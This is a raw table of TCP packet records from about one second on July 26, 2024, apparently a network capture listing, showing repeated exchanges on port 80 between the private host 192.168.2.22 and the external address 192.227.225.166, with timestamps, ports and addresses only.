Jul 26, 2024 08:24:44.462862968 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.462913990 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.463615894 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.463629007 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.463673115 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.463701010 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.464345932 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.464359999 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.464399099 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.464423895 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.552505970 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.552591085 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.552639008 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.552650928 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.552680969 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.553370953 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.553383112 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.553416967 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.554101944 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.554114103 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.554125071 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.554145098 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.554166079 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.554864883 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.554877043 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.554909945 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.555691004 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.555702925 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.555742979 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.556478977 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.556507111 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.556551933 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.557492018 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.557507038 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.557548046 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.558074951 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.558089972 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.558099985 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.558130980 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.558151960 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.558866024 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.558878899 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.558914900 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.559660912 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.559678078 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.559719086 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.560324907 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.560342073 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.560353041 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.560373068 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.560390949 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.561297894 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.561311007 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.561321020 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.561331987 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.561350107 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.561366081 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.562236071 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.562247992 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.562258005 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.562287092 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.562304020 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.563185930 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.563199043 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.563210011 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.563270092 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.563286066 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.564167976 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.564184904 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.564194918 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.564207077 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.564214945 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.564234972 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.565068960 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.565090895 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.565102100 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.565113068 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.565119028 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.565136909 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.565159082 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.648706913 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.648984909 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.649046898 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.649522066 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.649537086 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.649569988 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.649585962 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.649894953 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.649907112 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.649947882 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.650646925 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.650659084 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.650696993 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.650712967 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.651421070 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.651436090 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.651468039 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.652165890 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.652179003 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.652199984 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.652218103 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.652929068 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.652941942 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.652951002 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.652992964 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.653701067 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.653713942 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.653723955 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.653759956 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.653775930 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.654500008 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.654511929 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.654558897 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.655220032 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.655230999 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.655278921 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.656084061 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.656095982 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.656143904 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.656794071 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.656805038 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.656816006 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.656846046 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.656867027 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.657552004 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.657562971 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.657613993 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.658263922 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.658274889 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.658325911 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.659034014 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.659045935 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.659085989 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.659101963 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.659775972 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.659787893 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.659797907 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.659830093 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.659843922 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.660547972 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.660559893 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.660607100 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.661299944 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.661329031 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.661370993 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.662116051 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.662127018 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.662175894 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.662847996 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.662859917 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.662899971 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.663583994 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.663595915 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.663605928 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.663642883 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.663655043 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.664256096 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.664267063 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.664314985 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.664987087 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.664999962 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.665038109 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.665052891 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.665682077 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.665693998 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.665724993 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.666466951 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.666479111 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.666490078 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.666517973 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.666532040 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.667126894 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.667139053 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.667149067 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.667184114 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.667196989 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.667831898 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.667844057 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.667892933 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.668526888 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.668539047 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.668579102 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.669229984 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.669240952 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.669250965 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.669286013 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.669298887 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.744016886 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.744106054 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.744151115 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.744163990 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.744189978 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.744208097 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.744766951 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.744780064 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.744807005 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.745440960 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.745452881 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.745486021 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.745503902 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.746201992 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.746215105 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.746272087 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.746849060 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.746864080 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.746896029 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.746913910 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.747539997 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.747551918 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.747561932 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.747584105 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.747597933 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.748608112 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.748620987 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.748653889 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.748883963 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.748894930 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.748920918 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.749818087 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.749830961 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.749861956 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.750283957 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.750296116 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.750308037 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.750319004 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.750332117 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.750355959 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.750969887 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.750984907 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.751018047 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.751554966 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.751568079 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.751578093 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.751593113 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.751609087 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.752355099 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.752367020 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.752377033 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.752396107 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.752409935 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.753238916 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.753251076 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.753261089 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.753273964 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.753287077 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.753303051 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.754039049 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.754051924 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.754061937 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.754076958 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.754092932 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.754827023 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.754839897 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.754849911 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.754868031 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.754882097 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.755660057 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.755671024 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.755681038 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.755692005 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.755702972 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.755723953 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.755738020 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.756479025 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.756499052 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.756509066 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.756618977 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.756618977 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.756903887 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.757325888 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.757338047 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.757343054 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.757376909 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.758131027 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.758142948 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.758152962 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.758162975 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.758173943 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.758173943 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.758193016 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.758199930 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.758985043 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.758999109 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.759008884 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.759026051 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.759041071 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.759757996 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.759771109 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.759788036 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.759799957 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.759818077 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.760453939 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.760468006 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.760514021 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.762396097 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.762459040 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.762511015 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.762522936 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.762546062 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.762557030 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.762936115 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.762947083 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.762958050 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.762969971 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.762980938 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.762996912 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.763469934 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.763716936 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.763729095 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.763756037 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.763767958 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.764127016 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.764137983 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.764147997 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.764158964 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.764164925 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.764169931 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.764179945 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.764194012 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.764991045 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.765002966 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.765012980 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.765023947 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.765031099 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.765045881 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.765062094 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.765876055 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.765887022 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.765897036 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.765907049 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.765913010 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.765918016 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.765929937 CEST	49170	80	192.168.2.22	192.227.225.166
